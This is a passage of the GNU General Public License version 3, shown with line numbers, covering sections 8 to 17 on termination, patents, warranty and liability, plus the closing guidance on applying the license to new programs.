| Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------